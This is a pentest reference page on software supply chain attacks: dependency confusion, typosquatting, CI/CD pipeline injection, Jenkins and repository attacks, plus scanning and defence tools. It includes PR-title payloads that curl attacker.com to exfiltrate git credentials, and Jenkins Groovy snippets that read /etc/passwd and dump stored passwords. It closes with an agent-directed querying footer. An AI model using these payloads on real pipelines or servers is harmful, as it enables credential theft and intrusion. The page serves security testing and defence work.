# Supply Chain Attacks

## Overview

Supply chain attacks target the software development and delivery process, compromising dependencies, build systems, or distribution channels to inject malicious code into legitimate software.

## Dependency Confusion

### Concept

When an organization uses private packages with the same name available on public registries, attackers can upload malicious packages with higher version numbers to public registries.

### Exploitation

```bash
# 1. Find private package names
# Look in package.json, requirements.txt, pom.xml, etc.
# Check JavaScript source for import statements
grep -r "require\|import" --include="*.js" .

# 2. Check if package exists on public registry
npm view private-package-name
pip index versions private-package-name

# 3. Create malicious package with higher version
# npm
npm init
# Set version higher than internal (e.g., 99.0.0)
npm publish

# pip
# Create setup.py with higher version
python setup.py sdist
twine upload dist/*
```

### Detection

```bash
# Check for dependency confusion vulnerability
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# https://github.com/AyoubAbeworworki/dep-confusion-detect
python3 dep-confusion-detect.py -r requirements.txt
```

## Typosquatting

### Concept

Registering package names similar to popular packages to catch typos.

### Common Patterns

```bash
# Typo patterns to check:
# - Missing characters: reqests (requests)
# - Extra characters: requestss
# - Character swap: requetss
# - Similar looking: requestz, request5
# - Wrong TLD: lodash-npm (vs lodash)

# Generate typosquat candidates
# https://github.com/elfmaster/typosquatting
./typosquat.py express

# Check npm
for pkg in expres expresss exprss; do npm view $pkg 2>/dev/null && echo "EXISTS: $pkg"; done

# Check PyPI
for pkg in reqests requsets requets; do pip index versions $pkg 2>/dev/null && echo "EXISTS: $pkg"; done
```

### Finding Vulnerable Packages

```bash
# Search for common typos in target's dependencies
# Look for:
# - Misspelled package names
# - Packages with low download counts
# - Recently published packages claiming to be popular

# NPM package analysis
npm audit
npm ls --all

# Python
pip-audit
safety check -r requirements.txt

# Snyk for comprehensive scanning
snyk test
```

## CI/CD Pipeline Attacks

### GitHub Actions Exploitation

```yaml
# Vulnerable workflow - using untrusted input
name: Vulnerable Workflow
on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # Dangerous!
      - run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"  # Injection!
```

```bash
# Pwn Request - exploit pull_request_target
# Create PR with malicious title:
# $(curl http://attacker.com/$(cat /home/runner/.git/credentials | base64))

# Inject into workflow
# PR title: test"; curl http://attacker.com/pwned #

# Secrets exfiltration via workflow
# Add to PR body/title:
# ${{ secrets.GITHUB_TOKEN }}
```

### GitLab CI Exploitation

```yaml
# Check for exposed CI variables
# .gitlab-ci.yml
variables:
  DEBUG: "true"
  # Secrets might be exposed in logs

script:
  - echo $CI_JOB_TOKEN  # Can be used for registry access
  - env  # Dumps all variables including secrets
```

### Jenkins Exploitation

```bash
# Check for exposed Jenkins instances
# Common endpoints:
/script
/scriptText
/computer/(master)/script

# Groovy console RCE
def cmd = "cat /etc/passwd"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

# Credential dumping
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance,
    null,
    null
)
for (c in creds) {
    println(c.id + ": " + c.username + " / " + c.password)
}
```

## Package Repository Attacks

### NPM

```bash
# Check package for malicious scripts
npm pack <package-name>
tar -xzf package-name-*.tgz
cat package/package.json | jq '.scripts'

# Look for suspicious install scripts:
# - preinstall, install, postinstall
# - preuninstall, uninstall, postuninstall

# Check package history
npm view <package-name> versions
npm view <package-name>@<version> dist.tarball

# Audit for known vulnerabilities
npm audit
npm audit --json
```

### PyPI

```bash
# Download and inspect package
pip download <package-name> --no-deps
unzip <package>.whl -d extracted/

# Check setup.py for malicious code
cat extracted/setup.py

# Look for:
# - os.system(), subprocess calls
# - Encoded/obfuscated strings
# - Network requests during install
# - File system modifications

# Safety check
safety check -r requirements.txt
pip-audit
```

### Maven/Gradle

```xml
<!-- Check pom.xml for suspicious plugins -->
<!-- Look for exec-maven-plugin, build-helper-maven-plugin with suspicious configs -->

<!-- Verify package signatures -->
<!-- Check .asc files against GPG keys -->
```

## Third-Party Library Vulnerabilities

### Discovery

```bash
# Software Composition Analysis (SCA)
# Snyk
snyk test

# OWASP Dependency-Check
dependency-check --project "MyApp" --scan .

# npm
npm audit

# pip
pip-audit
safety check

# Go
go list -json -m all | nancy sleuth

# Trivy (containers and filesystems)
trivy fs .
trivy image myapp:latest
```

### Exploitation Research

```bash
# Check for known CVEs in dependencies
# https://nvd.nist.gov/
# https://security.snyk.io/
# https://github.com/advisories

# Search for PoCs
# GitHub: "CVE-XXXX-XXXX poc"
# Exploit-DB: searchsploit <library-name>

# Check dependency versions
npm ls
pip list
mvn dependency:tree
```

## Source Code Repository Attacks

### Exposed Credentials in Repositories

```bash
# Search for secrets in git history
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# GitHub dorking
# Search for accidentally committed secrets
site:github.com "target.com" password
site:github.com "target.com" api_key
site:github.com "target.com" AWS_SECRET
```

### Commit Signature Verification Bypass

```bash
# Check if repo requires signed commits
git log --show-signature

# Unsigned commits might be accepted
# Impersonate commits by setting user.email
git config user.email "admin@target.com"
git commit -m "Malicious commit"
```

## Attack Vectors Summary

| Vector                  | Target               | Impact                  |
| ----------------------- | -------------------- | ----------------------- |
| Dependency Confusion    | Private packages     | Code execution          |
| Typosquatting           | Developers           | Credential theft        |
| CI/CD Injection         | Build pipelines      | Code execution, secrets |
| Malicious Packages      | Package registries   | Supply chain compromise |
| Compromised Maintainer  | Open source projects | Backdoors               |
| Build System Compromise | Build servers        | Signed malware          |

## Detection & Prevention

### For Attackers (Testing)

```bash
# Check if org is vulnerable to dependency confusion
# 1. Enumerate private package names from leaked files
# 2. Check if those names are unclaimed on public registries
# 3. Report or (if in scope) demonstrate with benign package

# Check for exposed CI/CD
# GitHub Actions: /.github/workflows/
# GitLab CI: /.gitlab-ci.yml
# Jenkins: /Jenkinsfile
```

### For Defenders

```bash
# Lock dependencies to specific versions
# Use lockfiles: package-lock.json, Pipfile.lock, go.sum

# Enable dependency scanning in CI/CD
# Use private registry with namespace reservation
# Implement Sigstore/cosign for package signing
# Enable GitHub secret scanning
```

## Tools

```bash
# Dependency Confusion
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# Secret Scanning
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# Software Composition Analysis
# https://github.com/anchore/syft
syft /path/to/project

# https://github.com/anchore/grype
grype /path/to/project

# CI/CD Security
# https://github.com/Checkmarx/kics
kics scan -p /path/to/.github/workflows
```

## Resources

* [Dependency Confusion Research](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [Backstabber's Knife Collection](https://github.com/nickvdyck/backstabbers-knife-collection)
* [CI/CD Goat - Vulnerable Pipeline](https://github.com/cider-security-research/cicd-goat)
* [SLSA - Supply Chain Security Framework](https://slsa.dev/)
* [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/supply-chain.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
